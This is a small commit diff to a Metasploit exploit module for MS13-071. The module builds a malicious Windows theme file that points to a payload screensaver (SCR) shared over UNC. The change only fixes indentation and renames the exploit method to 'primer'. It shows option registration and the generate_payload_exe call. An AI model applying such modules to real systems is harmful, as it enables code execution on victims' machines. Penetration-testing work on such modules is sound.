Fix indenting and use primer

Author: jvazquez-r7

modules/exploits/windows/fileformat/ms13_071_theme.rb

@@ -57,15 +57,17 @@ def initialize(info={})
       'Privileged'     => false,
       'DisclosureDate' => "Sep 10 2013",
       'DefaultTarget'  => 0))
-       register_options(
+
+      register_options(
         [
-         OptString.new('FILENAME', [true, 'The theme file', 'msf.theme']),
-         OptString.new('FILE_NAME', [ false, 'SCR File name to share', 'msf.scr'])
+          OptString.new('FILENAME', [true, 'The theme file', 'msf.theme']),
+          OptString.new('FILE_NAME', [ false, 'SCR File name to share', 'msf.scr'])
         ], self.class)
-       deregister_options('FILE_CONTENTS')
+
+      deregister_options('FILE_CONTENTS')
   end
 
-  def exploit
+  def primer
     self.file_contents = generate_payload_exe
     print_status("Malicious SCR available on #{unc}...")